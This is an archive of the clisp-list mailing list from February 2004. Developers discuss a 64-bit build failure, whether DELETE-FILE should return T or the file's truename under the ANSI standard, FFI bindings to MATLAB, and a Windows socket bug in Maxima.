[...endless loop...]

btw: Why `KW' is used instead of `KB' ... besides this, the `0x%x' isn't
sufficient, I suppose the `%p' for getting the full address on 64bit. If
I replace `0x%x' with  `%p'  I get

Cannot map memory to address 0x1999999999fcd000 . errno = ENOMEM: Not enough memory.
Trying to make room through a GC...

On the other side, a simple grep for nilvector throughout the source
shows a lot of calls/references about.

> I experimented with this (using -DTYPECODES on i386) but the interpreter was 
> aborting - it seemed it was finding a typecode it didn't recognize - but I 
> don't know why this was, and have not investigated further.

In other words: clisp is currently not portable to 64bit architecures?


         Werner


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> * Michael Koehne <xenrur@pbclyrsg.qr> [2004-02-16 19:21:52 +0100]:
>
> Moin Sam Steingold,
>
>> <http://clisp.cons.org> ==>
>> <ftp://ftp.tu-darmstadt.de/pub/programming/languages/lisp/clisp/binaries/old-infrastructure/amiga/>
>> Amiga support has been removed from the CVS recently.
>> You should have spoken up when the issue was raised a couple of months ago...
>
>   just downloading them, even if they are also 8 years old. btw: what
>   was the latest CVS tag, where Amiga support was possible, and did

no CVS tag, but you can look for the date in src/ChangeLog.

>   someone really compile this last Amiga clisp ? Or was the Amiga
>   branch dropped because nobody tried it for nearly 8 years ?

yes, this is the case - nobody built amiga clisp for many years and it
was dubious that it was still possible.

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In ANSI CL, DELETE-FILE is specified to return T on success.
CLISP returns the truename of the deleted file.
This is not compliant, albeit it offers a nice feature.

How is this to be fixed?

1. just return T and forget the truename

2. return T when *ANSI* is T and truename otherwise.
   (I think introducing an extra user variable for this is silly)

3. ignore the ANSI spec and keep the current behavior

4. other options?

please voice your opinions here on <clisp-list>, if you do not,
my prejudice will be hoisted on you.

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On Tuesday, February 17, 2004, at 01:00PM, Sam Steingold <sds@gnu.org> wrote:
>2. return T when *ANSI* is T and truename otherwise.
>   (I think introducing an extra user variable for this is silly)

That seems the most sensible. If I were to get a vote, that would be my vote.

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Date: Tue Feb 17 10:25:06 2004
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2 questions:

1. How do I interface to
   <http://www.mathworks.com/access/helpdesk/help/techdoc/apiref/engoutputbuffer.shtml>?
   In addition to the simple

(def-call-out engOutputBuffer (:arguments (ep Engine) (p c-pointer) (n int))
  (:return-type int))

   I will need to allocate and deallocate the buffer, right?
   So, is

(setq z (allocate-shallow '(c-array char 1000)))
(engOutputBuffer ep (c-var-address z) 1000)
...
(engOutputBuffer ep NIL 0)
(foreign-free z)

   the right thing?

2. How do I interface to
   <http://www.mathworks.com/access/helpdesk/help/techdoc/apiref/matgetdir.shtml>?
char **matGetDir(MATFile *mfp, int *num);
   What is the return value?
   Also, the documentation appears to indicate that what is actually
   returned is (char*[mxMAXNAM]), not (char**): why would they mention
   mxCalloc() otherwise?

PS.  Any other matlab victims^H^H^H^H^H^H^Husers out there?

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Date: Tue Feb 17 10:38:13 2004
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my votes in order of preference, w/ reasons:

 > 2. return T when *ANSI* is T and truename otherwise.
 >    (I think introducing an extra user variable for this is silly)

Yes: preserves existing code that relies on the truename and at the
same time and guarantees ANSI-compliant when -ansi used ...

 > 1. just return T and forget the truename

No, will break existing code (run w/out -ansi) that relies on the
truename

 > 3. ignore the ANSI spec and keep the current behavior

No, fails ANSI-compliance

 > 4. other options?

If this were perl, it'd have to behave differently based on whether
DELETE-FILE was called in a "boolean context" -- except when running
in ANSI perl mode :)



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On Tue, 17 Feb 2004, Sam Steingold wrote:

> 2. How do I interface to
>    <http://www.mathworks.com/access/helpdesk/help/techdoc/apiref/matgetdir.shtml>?
> char **matGetDir(MATFile *mfp, int *num);
>    What is the return value?
>    Also, the documentation appears to indicate that what is actually
>    returned is (char*[mxMAXNAM]), not (char**): why would they mention

This is not possible; a C function cannot return an array.  :)

I suspect that your actual suspiction is that it might be 
``char (*)[mxMAXNAM]''. In other words, the pointer to an array of
mxMAXNAM characters (or a pointer to the first element of an
array of arrays, whose elements are arrays of mxMAXNAM characters).

>    mxCalloc() otherwise?

They say:

    matGetDir returns a pointer to an internal array containing
    pointers to the NULL-terminated names

so it's clear that it's  ``char **'', just like the return type says.

They must do some funny allocation to allow you to blow this away with
just one call to their mxFree() function. The array of pointers and the
string data are all allocated in one memory block. Or perhaps the array
of pointers is dynamic, but the pointers are managed separately; maybe
the MATFile object owns these strings, and the dynamic array is just
used as a temporary object to retrieve the pointers in one call.

They probably use their mxCalloc() function like this:

   char **arrayOfPointers = mxCalloc(numElements,
                                     sizeof arrayOfPointers[0]);

so the use of a calloc-like allocator does not support your 
suspicion that it's not an array of pointers.



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On Monday 16 Feb 2004 6:21 pm, Dr. Werner Fink wrote:

> Hmmm ... -DNO_TYPECODES=1 for x86_64 aka AMD64 results in:

x86_64 is a WIDE_HARD acrhitecture. The comment around lispbibl.d:2424 seems 
to suggest that building without typecodes on such an arch is not feasible. I 
am not sure why this is.

> In other words: clisp is currently not portable to 64bit architecures?

64bit architectures with 64bit userland seem to be broken yes (e.g. it is 
possible to build on 32bit userland sparc and ppc).

This has been broken only in the last release so should be relatively simple 
for someone with the right knowledge to fix I believe.



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On Tuesday, Feb 17, 2004, at 13:00 America/New_York, Sam Steingold 
wrote:

> In ANSI CL, DELETE-FILE is specified to return T on success.
> CLISP returns the truename of the deleted file.
> This is not compliant, albeit it offers a nice feature.
>
> How is this to be fixed?
>
> 1. just return T and forget the truename

If the truename refers to a delete file what use can you have?


>
> 2. return T when *ANSI* is T and truename otherwise.
>    (I think introducing an extra user variable for this is silly)

Nope.


>
> 3. ignore the ANSI spec and keep the current behavior

Absolutely not.


>
> 4. other options?
>

Return T and the truename as a second value.

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On Tuesday, Feb 17, 2004, at 13:32 America/New_York, John K. Hinsdale 
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>
>> 1. just return T and forget the truename
>
> No, will break existing code (run w/out -ansi) that relies on the
> truename

Existing CLisp code already breaks in ANSI implementations.

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On Tuesday, Feb 17, 2004, at 14:10 America/New_York, Marco Antoniotti 
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> On Tuesday, Feb 17, 2004, at 13:32 America/New_York, John K. Hinsdale 
> wrote:
>
>>
>>
>>> 1. just return T and forget the truename
>>
>> No, will break existing code (run w/out -ansi) that relies on the
>> truename
>
> Existing CLisp code already breaks in ANSI implementations.

Obviously with all the caveats and distinguos of the case.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> In ANSI CL, DELETE-FILE is specified to return T on success.
    Sam> CLISP returns the truename of the deleted file.

Where does it say T?  From the CLHS, I see that the syntax part says
delete-file returns T, but in the description it says:

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Where "true" basically means not NIL.

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> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 14:08:34 -0500]:
>
>> 1. just return T and forget the truename
> If the truename refers to a delete file what use can you have?

I do not understand this question.

>> 4. other options?
> Return T and the truename as a second value.

this is not compliant either.
DELETE-FILE returns 1 value.

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> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 14:18:03 -0500]:
>
>>>> 1. just return T and forget the truename
>>>
>>> No, will break existing code (run w/out -ansi) that relies on the
>>> truename
>>
>> Existing CLisp code already breaks in ANSI implementations.
> Obviously with all the caveats and distinguos of the case.

I do not understand these two sentences.
Could you please elaborate?
(neither of us is a native English speaker :-)

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Sam Steingold <sds@gnu.org> writes:

> In ANSI CL, DELETE-FILE is specified to return T on success.
> CLISP returns the truename of the deleted file.
> This is not compliant, albeit it offers a nice feature.
>
> How is this to be fixed?
[...]
> 2. return T when *ANSI* is T and truename otherwise.

This is my preference.


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> * Raymond Toy <gbl@egc.revpffba.fr> [2004-02-17 14:48:43 -0500]:
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>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> In ANSI CL, DELETE-FILE is specified to return T on success.
>     Sam> CLISP returns the truename of the deleted file.
>
> Where does it say T?  From the CLHS, I see that the syntax part says
> delete-file returns T, but in the description it says:
>
>    delete-file returns true if it succeeds, or signals an error of
>    type file-error if it does not.
>
> Where "true" basically means not NIL.

Yes, so the current CLISP behavior is "weakly compliant" :-)
Trouble is, it does say literal T in the syntax section...

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On Tuesday, Feb 17, 2004, at 14:56 America/New_York, Sam Steingold 
wrote:

>> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 14:18:03 -0500]:
>>
>>>>> 1. just return T and forget the truename
>>>>
>>>> No, will break existing code (run w/out -ansi) that relies on the
>>>> truename
>>>
>>> Existing CLisp code already breaks in ANSI implementations.
>> Obviously with all the caveats and distinguos of the case.
>
> I do not understand these two sentences.
> Could you please elaborate?
> (neither of us is a native English speaker :-)

I just felt that my first email was wrong.  I guess I made things worse 
with my second one :)  I meant that if you had already written 
something like

	(let ((ftn (delete-file "foo")))
	   ... do something with FTN as a truename ...)

then you are already on thin ice.

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On Tuesday, Feb 17, 2004, at 14:55 America/New_York, Sam Steingold 
wrote:

>> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 14:08:34 -0500]:
>>
>>> 1. just return T and forget the truename
>> If the truename refers to a delete file what use can you have?
>
> I do not understand this question.
>
>>> 4. other options?
>> Return T and the truename as a second value.
>
> this is not compliant either.
> DELETE-FILE returns 1 value.

A conformant program would not break.  But then again a conformant 
program would not break either if you returned the truename as first 
value.   But wait maybe if somebody did

	(let ((d (delete-file "foo")))
	   (etypecase d
	       (symbol ...)
	       ))


It never ends!   :{

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--- Sam Steingold <sds@gnu.org> wrote:
> > * Raymond Toy <gbl@egc.revpffba.fr> [2004-02-17
> 14:48:43 -0500]:
> >
> >>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> >
> >     Sam> In ANSI CL, DELETE-FILE is specified to
> return T on success.
> >     Sam> CLISP returns the truename of the deleted
> file.
> >
> > Where does it say T?  From the CLHS, I see that
> the syntax part says
> > delete-file returns T, but in the description it
> says:
> >
> >    delete-file returns true if it succeeds, or
> signals an error of
> >    type file-error if it does not.
> >
> > Where "true" basically means not NIL.
> 
> Yes, so the current CLISP behavior is "weakly
> compliant" :-)
> Trouble is, it does say literal T in the syntax
> section...

If it is "weakly compliant", then how is T defined?  I
thought T is a superclass of everything that is not
'(), or at least I think I remember Steele writing
something like that?

-zh


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> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 15:32:18 -0500]:
>
>>>> 1. just return T and forget the truename
>>> If the truename refers to a delete file what use can you have?
>> I do not understand this question.

???

>>>> 4. other options?
>>> Return T and the truename as a second value.
>>
>> this is not compliant either.
>> DELETE-FILE returns 1 value.
> A conformant program would not break.

(length (multiple-value-list (delete-file foo)))
is conformant and must return 1 in a conforming implementation.


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> In ANSI CL, DELETE-FILE is specified to return T on success.
> CLISP returns the truename of the deleted file.
> This is not compliant, albeit it offers a nice feature.
>
> How is this to be fixed?

return two values.

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Sam Steingold writes:
> In ANSI CL, DELETE-FILE is specified to return T on success.
> CLISP returns the truename of the deleted file.
> This is not compliant, albeit it offers a nice feature.
> 
> How is this to be fixed?
> 
> 1. just return T and forget the truename
> 
> 2. return T when *ANSI* is T and truename otherwise.
>    (I think introducing an extra user variable for this is silly)
> 
> 3. ignore the ANSI spec and keep the current behavior
> 
> 4. other options?
> 
> please voice your opinions here on <clisp-list>, if you do not,
> my prejudice will be hoisted on you.

Actually, CLHS is ambiguous about the return of delete-file:

 delete-file filespec => t


 delete-file returns true if it succeeds, or signals an error of type
 file-error if it does not.

and the glossary:

 true n. any object that is not false and that is used to represent
 the success of a predicate test. See t[1].


What the rule about such cases yet?


It seems to me that returning non nil is good enough to be compliant.

Of course, a compliant (portable)  application would not use the value
returned by delete-file, so  perhaps it's not worth returning anything
else than t. On the other hand, for interactive use, it's nice. So I'd
say don't change anything. If it ain't broken...

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> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 15:22:37 -0500]:
>
> On Tuesday, Feb 17, 2004, at 14:56 America/New_York, Sam Steingold
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>
>>> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2004-02-17 14:18:03 -0500]:
>>>
>>>>>> 1. just return T and forget the truename
>>>>>
>>>>> No, will break existing code (run w/out -ansi) that relies on the
>>>>> truename
>>>>
>>>> Existing CLisp code already breaks in ANSI implementations.
>>> Obviously with all the caveats and distinguos of the case.
>>
>> I do not understand these two sentences.
>> Could you please elaborate?
>> (neither of us is a native English speaker :-)
>
> I just felt that my first email was wrong.  I guess I made things
> worse with my second one :) I meant that if you had already written
> something like
>
> 	(let ((ftn (delete-file "foo")))
> 	   ... do something with FTN as a truename ...)
>
> then you are already on thin ice.

indeed.

The general idea is that the _only_ reason to use -ansi or set *ANSI*
is to run an ANSI compliance suite.

One should set the 6 options
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> * Russell McManus <ehffryy_zpznahf@lnubb.pbz> [2004-02-17 15:51:14 -0500]:
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> Sam Steingold <sds@gnu.org> writes:
>
>> In ANSI CL, DELETE-FILE is specified to return T on success.
>> CLISP returns the truename of the deleted file.
>> This is not compliant, albeit it offers a nice feature.
>>
>> How is this to be fixed?
>
> return two values.

this is not compliant either.
DELETE-FILE returns 1 value.

(length (multiple-value-list (delete-file foo)))
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John K. Hinsdale writes:
> 
> my votes in order of preference, w/ reasons:
> 
>  > 2. return T when *ANSI* is T and truename otherwise.
>  >    (I think introducing an extra user variable for this is silly)
> 
> Yes: preserves existing code that relies on the truename and at the
> same time and guarantees ANSI-compliant when -ansi used ...
> 
>  > 1. just return T and forget the truename
> 
> No, will break existing code (run w/out -ansi) that relies on the
> truename

Which  would  be a  Good  Thing(tm)  IMO!   Since it's  implementation
dependant, I'd even move to  randomly return the truename, the size of
the file deleted, or the age of my grandmother.
 

>  > 3. ignore the ANSI spec and keep the current behavior
> 
> No, fails ANSI-compliance

What ANSI-compliance? CLHS is ambiguous and says it returns non nil!


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> * zera holladay <mren_ubyynqnl@lnubb.pbz> [2004-02-17 12:33:01 -0800]:
>
> --- Sam Steingold <sds@gnu.org> wrote:
>> > * Raymond Toy <gbl@egc.revpffba.fr> [2004-02-17
>> 14:48:43 -0500]:
>> >
>> >>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>> >
>> >     Sam> In ANSI CL, DELETE-FILE is specified to
>> return T on success.
>> >     Sam> CLISP returns the truename of the deleted
>> file.
>> >
>> > Where does it say T?  From the CLHS, I see that
>> the syntax part says
>> > delete-file returns T, but in the description it
>> says:
>> >
>> >    delete-file returns true if it succeeds, or
>> signals an error of
>> >    type file-error if it does not.
>> >
>> > Where "true" basically means not NIL.
>> 
>> Yes, so the current CLISP behavior is "weakly
>> compliant" :-)
>> Trouble is, it does say literal T in the syntax
>> section...
>
> If it is "weakly compliant", then how is T defined?

<http://www.lisp.org/HyperSpec/Body/convar_t.html>

> I thought T is a superclass of everything that is not '(), or at least
> I think I remember Steele writing something like that?

<http://www.lisp.org/HyperSpec/Body/syscla_t.html>


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Sam Steingold writes:
> The general idea is that the _only_ reason to use -ansi or set *ANSI*
> is to run an ANSI compliance suite.
> 
> One should set the 6 options
> (http://clisp.cons.org/impnotes/ansi.html) one by one, as desired.

I  _always_ run clisp  with -ansi.   The general  idea being  to write
portable code.  I like very much  clisp, but I don't want to be locked
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> The general idea is that the _only_ reason to use -ansi or set *ANSI*
    Sam> is to run an ANSI compliance suite.

Really?  Why bother then having -ansi and *ansi*, since you're
purposely not being compliant!

I always set -ansi be cause that is my expectation.

(Bugs in the implementation are a different matter...)

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I opt for #2

Sam Steingold wrote:

>In ANSI CL, DELETE-FILE is specified to return T on success.
>CLISP returns the truename of the deleted file.
>This is not compliant, albeit it offers a nice feature.
>
>How is this to be fixed?
>
>1. just return T and forget the truename
>
>2. return T when *ANSI* is T and truename otherwise.
>   (I think introducing an extra user variable for this is silly)
>
>3. ignore the ANSI spec and keep the current behavior
>
>4. other options?
>
>please voice your opinions here on <clisp-list>, if you do not,
>my prejudice will be hoisted on you.
>
>  
>



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Raymond Toy wrote:
>>>>>>"Sam" == Sam Steingold <sds@gnu.org> writes:
> 
> 
>     Sam> In ANSI CL, DELETE-FILE is specified to return T on success.
>     Sam> CLISP returns the truename of the deleted file.
> 
> Where does it say T?  From the CLHS, I see that the syntax part says
> delete-file returns T, but in the description it says:
> 
>    delete-file returns true if it succeeds, or signals an error of
>    type file-error if it does not.
> 
> Where "true" basically means not NIL.


There are two constraints here.  Return T satisfies them both.
Returning the truename satisfies only the second one.

	Paul



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Maxima is now working with Clisp on Windows. However, I can't seem to
get the socket-based communication between maxima and xmaxima to work.
The same code works with GCL on Linux and Windows. Clisp works under
Linux, but not Windows. Either clisp socket code is broken under
windows, or I am missing something.

The way it is supposed to work is this: maxima starts in server mode by
invoking (setup-server 4008 "localhost"). (The code is attached below.)
xmaxima (a tcl application) then connects to the socket on port 4008.
Using clisp under windows, xmaxima never manages to connect to the
socket.

Any ideas?

Thanks,
Jim Amundson

(defun setup-server (port &optional (host "localhost"))
  (let* ((sock (open-socket host port)))
    (setq me sock)
   #+gcl (setq si::*sigpipe-action* 'si::bye)
    (setq *socket-connection* sock)
    (setq *standard-input* sock)
    (setq *standard-output* sock)
    (setq *error-output* sock)
    (setq *terminal-io* sock)
    (format t "pid=~a~%"        (getpid))
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    (setq *debug-io* sock)
    (values)
    ))

;;; from CLOCC: <http://clocc.sourceforge.net>
(defun open-socket (host port &optional bin)
  "Open a socket connection to HOST at PORT."
  (declare (type (or integer string) host) (fixnum port) (type boolean
bin))
  (let ((host (etypecase host
                (string host)
                (integer (hostent-name (resolve-host-ipaddr host))))))
    #+allegro (socket:make-socket :remote-host host :remote-port port
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    #+clisp (socket-connect port host :element-type
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    #+cmu (sys:make-fd-stream (ext:connect-to-inet-socket host port)
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                              (if bin '(unsigned-byte 8) 'character))
    #+gcl (si::socket port :host host)
    #+lispworks (comm:open-tcp-stream host port :direction :io
:element-type
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'base-char))
    #-(or allegro clisp cmu gcl lispworks)
    (error 'not-implemented :proc (list 'open-socket host port bin))))





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Here’s my argument let me know if I am incorrect. 
Assume delete-file() either returns T or signals an
error if it does not.  If delete-file() does not
return T, then it returns (not T) and delete-file()
must signal an error.  If (T=true) and (true=not NIL)
and (NIL=false), then (T=not false) and (not T=not
true=false=NIL).  Implicit in the specification is
that delete-file() returns NIL on failure and (not
NIL) on success, otherwise it would be pointless to
test for truth at all.  Does that make sense?

-zh

--- "Paul F. Dietz" <dietz@dls.net> wrote:
> Raymond Toy wrote:
> >>>>>>"Sam" == Sam Steingold <sds@gnu.org> writes:
> > 
> > 
> >     Sam> In ANSI CL, DELETE-FILE is specified to
> return T on success.
> >     Sam> CLISP returns the truename of the deleted
> file.
> > 
> > Where does it say T?  From the CLHS, I see that
> the syntax part says
> > delete-file returns T, but in the description it
> says:
> > 
> >    delete-file returns true if it succeeds, or
> signals an error of
> >    type file-error if it does not.
> > 
> > Where "true" basically means not NIL.
> 
> 
> There are two constraints here.  Return T satisfies
> them both.
> Returning the truename satisfies only the second
> one.
> 
> 	Paul
> 
> 
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zera holladay wrote:
> Here’s my argument let me know if I am incorrect. 
> Assume delete-file() either returns T or signals an
> error if it does not.  If delete-file() does not
> return T, then it returns (not T) and delete-file()
> must signal an error.  If (T=true) and (true=not NIL)
> and (NIL=false), then (T=not false) and (not T=not
> true=false=NIL).  Implicit in the specification is
> that delete-file() returns NIL on failure and (not
> NIL) on success, otherwise it would be pointless to
> test for truth at all.  Does that make sense?

No, it doesn't make sense.  The spec says delete-file
throws an error if it cannot delete the file.  Nowhere
does it say it returns NIL for anything.

	Paul




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Boys,

>> Where does it say T?  From the CLHS, I see that the syntax part says
>> delete-file returns T, but in the description it says: [...true]

this looks like ultraorthodox to me. I'll suggest they intended to say true everywhere, as they do in many other places.
Or does somebody have evidence to believe that they specifically did not want an implementation to return something other than 'T on delete-file?

So my vote is: don't be overzealous, don't change the current state.

I vaguely remember Kent M Pitman's posting in cll about the array nil issue. IIRC, his opinion was that it was superfluous that people from CLISP or ACL rushed to implement it, since in his eyes and memory, it did not follow as a requirement from either the letter or the spirit of the CLHS. I may be wrong.

Is there some ANSI-CL compliance testsuite which checks (eq 'T (delete-file "FOO"))?

Gru?e,
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> > >     Sam> In ANSI CL, DELETE-FILE is specified to return T on
> > >          success. CLISP returns the truename of the deleted file.
> > 
> > There are two constraints here.  Return T satisfies
> > them both. Returning the truename satisfies only the second
> > one.

Perhaps changing  the result  to T  would be a  good think  since that
would force non conformant programs to become more conformant...

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Hoehle, Joerg-Cyril wrote:

> Is there some ANSI-CL compliance testsuite which checks (eq 'T (delete-file "FOO"))?

Yes. :)

	Paul



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> * James Amundson <nzhaqfba@sany.tbi> [2004-02-17 20:36:10 -0600]:
>
> The same code works with GCL on Linux and Windows. Clisp works under
> Linux, but not Windows. Either clisp socket code is broken under
> windows, or I am missing something.

I don't understand how this can work on linux,
but I take your word for it.

Nevertheless this code is completely and perfectly wrong.

> The way it is supposed to work is this: maxima starts in server mode by
> invoking (setup-server 4008 "localhost"). (The code is attached below.)
> xmaxima (a tcl application) then connects to the socket on port 4008.
> Using clisp under windows, xmaxima never manages to connect to the
> socket.

socket _server_ is created by PORT:OPEN-SOCKET-SERVER (which calls
EXT:SOCKET-SERVER in CLISP).
socket stream is created by PORT:SOCKET-ACCEPT (CLISP
EXT:SOCKET-ACCEPT) passively or PORT:OPEN-SOCKET (CLISP
EXT:SOCKET-CONNECT) actively.

> (defun setup-server (port &optional (host "localhost"))
>   (let* ((sock (open-socket host port)))
                 ^^^^^^^^^^^^^^^^^^^^^^^ replace with
                 (open-socket-server port)

>     (setq me sock)
>    #+gcl (setq si::*sigpipe-action* 'si::bye)
>     (setq *socket-connection* sock)
>     (setq *standard-input* sock)
>     (setq *standard-output* sock)
>     (setq *error-output* sock)
>     (setq *terminal-io* sock)
>     (format t "pid=~a~%"        (getpid))
>     (force-output sock)
>     (setq *debug-io* sock)
>     (values)
>     ))

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On Wednesday, Feb 18, 2004, at 07:23 America/New_York, Hoehle, 
Joerg-Cyril wrote:

> Boys,
>
>>> Where does it say T?  From the CLHS, I see that the syntax part says
>>> delete-file returns T, but in the description it says: [...true]
>
> this looks like ultraorthodox to me. I'll suggest they intended to say 
> true everywhere, as they do in many other places.
> Or does somebody have evidence to believe that they specifically did 
> not want an implementation to return something other than 'T on 
> delete-file?
>
> So my vote is: don't be overzealous, don't change the current state.
>
> I vaguely remember Kent M Pitman's posting in cll about the array nil 
> issue. IIRC, his opinion was that it was superfluous that people from 
> CLISP or ACL rushed to implement it, since in his eyes and memory, it 
> did not follow as a requirement from either the letter or the spirit 
> of the CLHS. I may be wrong.
>
> Is there some ANSI-CL compliance testsuite which checks (eq 'T 
> (delete-file "FOO"))?

The issue is whether you have code (other than a an ANSI test suite) 
doing something like

(let ((r (delete-file "foo")))
    ... do something over the truename of "foo" ... )

This is not guaranteed to be conformant under, say, CMUML, AND, unlike 
sockets, multiprocessing and other things, it does fall under ANSI.

You can argue that other thing that fall under ANSI have 
less-than-optimally-specified behavior.  But in this case, the 
pragmatics DELETE-FILE simply implies that the current state of affairs 
would just create annoyances for people expecting ANSI portable code.

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> * Sam Steingold <fqf@tah.bet> [2004-02-17 13:00:50 -0500]:
>
> In ANSI CL, DELETE-FILE is specified to return T on success.
> CLISP returns the truename of the deleted file.
> This is not compliant, albeit it offers a nice feature.
>
> How is this to be fixed?
>
> 1. just return T and forget the truename
>
> 2. return T when *ANSI* is T and truename otherwise.

implemented.

> 3. ignore the ANSI spec and keep the current behavior

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> * Raymond Toy <gbl@egc.revpffba.fr> [2004-02-17 16:09:56 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> The general idea is that the _only_ reason to use -ansi or
>     Sam> set *ANSI* is to run an ANSI compliance suite.
>
> Really?  Why bother then having -ansi and *ansi*, since you're
> purposely not being compliant!

note that I also said that "One should set the 6 options
(http://clisp.cons.org/impnotes/ansi.html) one by one, as desired."

please do not read into my words more than I put there.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <gbl@egc.revpffba.fr> [2004-02-17 16:09:56 -0500]:
    >> 
    >>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> The general idea is that the _only_ reason to use -ansi or
    Sam> set *ANSI* is to run an ANSI compliance suite.
    >> 
    >> Really?  Why bother then having -ansi and *ansi*, since you're
    >> purposely not being compliant!

    Sam> note that I also said that "One should set the 6 options
    Sam> (http://clisp.cons.org/impnotes/ansi.html) one by one, as desired."

    Sam> please do not read into my words more than I put there.

I don't think I read too much.  You said -ansi is only for running an
ANSI compliance test.  I would think -ansi is for making clisp purport
to conform to the ANSI spec.  I also fail to see why I would want ansi
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backward compatibility with old clisp code.

I hope that would eventually be the default, but it's your perogative
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I certainly want to run clisp with -ansi.

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> * Raymond Toy <gbl@egc.revpffba.fr> [2004-02-18 16:33:45 -0500]:
>
> I don't think I read too much.  You said -ansi is only for running an
> ANSI compliance test.  I would think -ansi is for making clisp purport
> to conform to the ANSI spec.

same thing.

Please do not underestimate our commitment to ANSI though.


> I also fail to see why I would want ansi behavior for this thing but
> not that thing,

Because some ANSI requirements, e.g., that negative :COUNT is treated
as 0, are detrimental to debugging, others prevent you from printing
some pathnames readably, &c.

ANSI CL spec is a wonderful standard, but it does have some glitches,
and it is unlikely that you would want _ALL_ these places interpreted
exactly like the majority.
You see, if 80% of the people agree on each questionable issue (which is
a very strong majority!) then (assuming independence!) the probability
that one would agree with the majority on 3 issues is just above 50%
and for 5 issues it is less than 33%.
This is why it is generally a good idea to think before using "-ansi".
(I am pretty sure that most of CLISP users what *PARSE-NAMESTRING-ANSI*
and *MERGE-PATHNAMES-ANSI* set to T and the other 4 variables set to
NIL, but this is a really boring subject).

On the other hand, _thinking_ about something requires an effort which
is often better spent elsewhere.

This, by the way, reminds me of the POSIXLY_CORRECT environment
variable which is respected by some GNU utilities.

> I hope that would eventually be the default, but it's your perogative
> not to do so.

Talk to Bruno about it.
He has a strong opinion about this.
I don't really care.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

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    >> I don't think I read too much.  You said -ansi is only for running an
    >> ANSI compliance test.  I would think -ansi is for making clisp purport
    >> to conform to the ANSI spec.

    Sam> same thing.

    Sam> Please do not underestimate our commitment to ANSI though.

Ok.  Perhaps I inferred the wrong thing, but it sure seemed like you
thought ansi was only good for running the compliance test and nothing
else. :-)

    Sam> On the other hand, _thinking_ about something requires an effort which
    Sam> is often better spent elsewhere.

No problem with that.  I, for one, have no desire or interest to
figure out how to add NIL arrays or specialized arrays of
unsigned-byte 7 to CMUCL.  I think there are better things to do. 

    >> I hope that would eventually be the default, but it's your perogative
    >> not to do so.

    Sam> Talk to Bruno about it.
    Sam> He has a strong opinion about this.
    Sam> I don't really care.

The default isn't a big deal, as long as -ansi exists.

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> Ok.  Perhaps I inferred the wrong thing, but it sure seemed like you
> thought ansi was only good for running the compliance test and nothing
> else. :-)

please be careful.
"clisp -ansi" differs from "clisp -traditional" very very little.
really.
it is extremely unlikely that you will notice any difference in
day-to-day use, and the traditional mode might even help you catch a
random error in your code.

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On Wed, 2004-02-18 at 08:23, Sam Steingold wrote:
> > * James Amundson <nzhaqfba@sany.tbi> [2004-02-17 20:36:10 -0600]:
> >
> > The same code works with GCL on Linux and Windows. Clisp works under
> > Linux, but not Windows. Either clisp socket code is broken under
> > windows, or I am missing something.

OK. I apologize for bother the list. I *was* missing something...

> I don't understand how this can work on linux,
> but I take your word for it.
> 
> Nevertheless this code is completely and perfectly wrong.

I inherited this code. Its most confusing aspect is that it runs a
"server" using a socket client, the "client" is connected via a socket
server. I should have explained the terminology confusion.

> > (defun setup-server (port &optional (host "localhost"))
> >   (let* ((sock (open-socket host port)))
>                  ^^^^^^^^^^^^^^^^^^^^^^^ replace with
>                  (open-socket-server port)
> 
> >     (setq me sock)
> >    #+gcl (setq si::*sigpipe-action* 'si::bye)
> >     (setq *socket-connection* sock)
> >     (setq *standard-input* sock)
> >     (setq *standard-output* sock)
> >     (setq *error-output* sock)
> >     (setq *terminal-io* sock)
> >     (format t "pid=~a~%"        (getpid))
> >     (force-output sock)
> >     (setq *debug-io* sock)
> >     (values)
> >     ))

What I was missing is the time bomb in the line
	(setq *error-output* sock)
If there is ever an error with the socket, it sends an error message to
the socket, which generates an error message, which it sends to the
socket, which generates an....

It just turns out that I was getting a perfectly reasonable error that
only showed up using clisp on win32. The error tripped the time bomb.

Sorry for the false alarm.

--Jim Amundson



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Sam Steingold wrote:
> In ANSI CL, DELETE-FILE is specified to return T on success.
> CLISP returns the truename of the deleted file.

Looking at CLHS (I don't have a copy of ANSI CL):
Where do you read that returning the truename is not allowed?

- The overview of the function is

     "delete-file filespec => t"

  where "t" refers to the page leaving the choice between the symbol T
  and the class T. The latter allows any return value.

- The description of the function says

     "delete-file returns true if it succeeds"

  and "true" means any non-NIL object.

- The examples of the function are not relevant, according to CLHS
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Bruno Haible wrote:

> - The overview of the function is
> 
>      "delete-file filespec => t"
> 
>   where "t" refers to the page leaving the choice between the symbol T
>   and the class T. The latter allows any return value.

No, the 't' there refers to a value being returned, not its type.
There are plenty of places where the return value is => nil, and the
type NIL has no elements.

See section 1.4.4.20.4:  "An evaluation arrow ``=> '' precedes a list
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The types of entities specified in the Syntax section are defined
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	Paul



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Paul F. Dietz writes:
> Bruno Haible wrote:
> 
> > - The overview of the function is
> > 
> >      "delete-file filespec => t"
> > 
> >   where "t" refers to the page leaving the choice between the symbol T
> >   and the class T. The latter allows any return value.
> 
> No, the 't' there refers to a value being returned, not its type.
> There are plenty of places where the return value is => nil, and the
> type NIL has no elements.
> 
> See section 1.4.4.20.4:  "An evaluation arrow ``=> '' precedes a list
> of values to be returned."
> 
> The types of entities specified in the Syntax section are defined
> in the 'Arguments and Values' section of a dictionary entry.

Let's hope the  next version of the standard will  be more formal, and
at least includes signatures for all functions:

(declaim (ftype (function (pathname) (member t)) delete-file))

vs.

(declaim (ftype (function (pathname) t) delete-file))


